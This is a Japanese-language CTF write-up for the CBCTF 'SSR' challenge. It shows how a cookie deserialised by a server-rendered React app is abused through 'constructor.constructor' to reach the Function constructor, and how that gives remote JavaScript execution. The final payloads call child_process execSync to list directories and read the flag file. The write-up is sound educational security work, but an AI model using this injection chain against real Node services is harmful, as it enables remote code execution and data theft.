Skip to content

Instantly share code, notes, and snippets.

@masatokinugawa
Last active June 4, 2018 23:01
Show Gist options
  • Save masatokinugawa/f3a284bbd2880f1b3b41f69d3f226c03 to your computer and use it in GitHub Desktop.
Save masatokinugawa/f3a284bbd2880f1b3b41f69d3f226c03 to your computer and use it in GitHub Desktop.
CBCTF SSR Writeup

CBCTF SSR Writeup

ゲームのようなアプリケーション。ざっと大まかな動作をみていく。

  • ガチャを回すとアイドルを入手できる。
  • ガチャの際、サーバへのアクセスは発生しない(=ガチャはクライアントサイドのみで完結)
  • 入手したアイドルはidolsという名前のCookieで記録。
  • レア度"SSR"のアイドル"Uzuki"を引いた場合のCookieは次のようになった:
[{"key":["ssr","0"]}]
  • リロードしてレスポンス内容をみると、入手したUzukiのデータがHTMLに直接含まれていた(=Cookieを見てサーバサイドで入手済みのキャラクターを返している様子)
  • 入手したアイドルには次のように連番で個別のページが作られる: http://ssr.tasks.ctf.codeblue.jp/idols/0
  • 個別のページでは、次のようなURLのvoice機能のページへのリンクが張られている: http://ssr.tasks.ctf.codeblue.jp/idols/0/say1
  • voice機能のページでは、短いアイドルのセリフが表示される。

大まかな動作はこんなところ。

サーバサイドでCookieを見ているようなので、まずはCookieをいじってみることにする。 voice機能のページを開きながら、Cookieの内容を以下のように適当に変えてリロードしてみた。

[{"key":["a","b"]}]

500 Internal Server Errorが返され、次のようなエラーがレスポンスボディに出た。

TypeError: Cannot read property 'b' of undefined
    at generateIdol (/usr/local/ssr/build/server.js:144:49)
    at /usr/local/ssr/build/server.js:172:12
    at Array.map (<anonymous>)
    at unserializeIdols (/usr/local/ssr/build/server.js:169:20)
    at Idol.render (/usr/local/ssr/build/server.js:436:46)
    at /usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:793:21
[...]

問題のタイトル「SSR」から、Server Side Rendering(SSR)が行われていると推測できる。したがって、クライアントサイドのコードとサーバサイドのコードは共有されており、クライアントサイドのコードから実質サーバサイドのコードを読むことができそうだ。 クライアントサイドのコード( http://ssr.tasks.ctf.codeblue.jp/public/client.js )からエラーに含まれるgenerateIdol関数を探す。

var generateIdol = function generateIdol(key) {
  var _key = _slicedToArray(key, 2),
      rarity = _key[0],
      idolNo = _key[1];

  var idolClass = _idolDatabase2.default[rarity][idolNo];
  return new idolClass(key);
};

エラー内容から、エラーは_idolDatabase2.default[rarity][idolNo]の箇所でスローされたと推測できる。

エラースタックをみると、generateIdolIdol.render関数から呼び出されている。 以下にIdol.render関数の重要な部分を抜き出す。

var idol = (0, _idols.unserializeIdols)(cookies.get('idols'))[id];
//[...]
var idolAction = action || 'say1';
//[...]
_react2.default.createElement(
  'p',
  null,
  idol[idolAction]()
)

先頭行の(0, _idols.unserializeIdols)(cookies.get('idols'))generateIdol関数の呼び出し元のようだ。 クライアント側でブレークポイントを張って実行してみると、idactionという変数が、URLのパスから、/idols/:id/:actionという形式でユーザ入力を受け取っていることがわかった。 後半で関数呼び出しを行っているidol[idolAction]()idolAction変数はaction変数から設定されるものであり、関数名にユーザ入力を使っていることになる。この関数呼び出しは、もろもろのユーザ入力を使った処理を通過した上で生成されるidol変数に対して行われるものなので、なんだか様々な細工ができそうだ。これら一連の処理を任意のコードの実行に繋げられないか考えてみる。

Cookieから文字列を受け取るgenerateIdol関数に戻り、クライアントサイドでブレークポイントを張って、処理される内容を見直してみる。 Cookieは次のように使われていた。

//Cookie が [{"key":["ssr","0"]}] のとき
var idolClass = _idolDatabase2.default["ssr"]["0"];
return new idolClass(["ssr","0"]);

_idolDatabase2.defaultに対してkey[0]key[1]でプロパティアクセスをし、そこで生成したidolClass変数に対して、keyの配列を引数に使って、newを実行している。

JavaScriptでは、プロパティアクセスの形で、プロトタイプオブジェクトに定義されたメソッド/プロパティにアクセスできる。 この部分ではconstructorプロパティにアクセスできる。constructorプロパティにアクセスすると次のような値が返される。

_idolDatabase2.default["constructor"] === Object//true
_idolDatabase2.default["constructor"]["constructor"] === Function//true

上記のように、_idolDatabase2.default["constructor"]["constructor"]Functionコンストラクタである。Functionコンストラクタを任意の引数でnewできるということは、任意の処理が書かれた関数を作り出せるということに他ならない。

このトリックを使って任意の処理が書かれた関数を作ってみる。以下のように、Cookieのkey[0]key[1]の位置にはconstructorを設定し、key[2]以降に好きなコードを記述することで、任意の処理が書かれた関数を生成できた。

//Cookie が [{"key":["constructor","constructor","0%3Breturn '123'"]}] のとき
var idolClass = _idolDatabase2.default["constructor"]["constructor"];
return new idolClass(["constructor","constructor","0;return '123'"]);
// function(){constructor,constructor,0;return '123'} が生成される

今度はこの関数を実行したい。generateIdolを呼び出しているIdol.render関数を見る。

var idol = (0, _idols.unserializeIdols)(cookies.get('idols'))[id];
//[...]
var idolAction = action || 'say1';
//[...]
_react2.default.createElement(
  'p',
  null,
  idol[idolAction]()
)

先頭行の(0, _idols.unserializeIdols)(cookies.get('idols'))では、関数が配列に入った状態で返ってくるようなので、URLのパスから設定できるid変数には0を指定して関数への参照にする。あとは呼び出すだけだが、取り出した関数を呼び出している部分のidol[idolAction]()では関数呼び出しの前に1つ余分なプロパティアクセスが入っている。idolAction変数は幸いURLのパスから設定できる値なので、Function.prototype.*callapplyを入れて、関数を呼び出す形にする。

うまくいけば、次のような形で、任意の処理が書かれた関数が呼び出されるはずだ。

var idol = [function(){constructor,constructor,0;return '123'}][0];
_react2.default.createElement(
  'p',
  null,
  idol["call"]()
)

CookieとURLを整えて試してみる。

[{"key":["constructor","constructor","0%3Breturn '123'"]}]というCookieを持った状態で、http://ssr.tasks.ctf.codeblue.jp/idols/0/call にアクセスする。すると、次のレスポンスが返ってきた。

[...]
<p data-reactid="18">123</p>
[...]

おお、 アイドルのセリフを表示していた部分に関数の戻り値として指定した123が表示された。サーバ側で任意のJavaScriptを実行することに成功したようだ。

ここまでこればゴールは近い。require('child_process')からサーバのコマンドの実行を行い、フラグの場所を探る。エラーに表示されたサーバサイドのファイル周辺のパスを漁ってみる。

[{"key":["constructor","constructor","0%3Breturn process.mainModule.require('child_process').execSync('ls /usr/local/ssr/')+''"]}] というCookieを持った状態で、http://ssr.tasks.ctf.codeblue.jp/idols/0/call にアクセスしてみる。

<p data-reactid="18">Dockerfile
README.md
build
conf
flag
gulpfile.js
node_modules
package-lock.json
package.json
public
src
style
webpack.config.js
</p>

flagというファイルがあるので、[{"key":["constructor","constructor","0%3Breturn process.mainModule.require('child_process').execSync('cat /usr/local/ssr/flag')+''"]}]というCookieを持った状態で、http://ssr.tasks.ctf.codeblue.jp/idols/0/call にアクセス。

<p data-reactid="18">CBCTF{server_side_render1ng_1s_Soo_fun}
</p>

やったー。

余談:

CTF慣れしていないこともあり、任意コード実行ができるとわかったときは、これ想定解じゃなかったら怒られそうとドキドキしながら手を進めていた…。CTFでは、どっちか怪しくても手を止めなくていいよね…?まあでも今回はたぶん想定解のはず。面白かったです。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment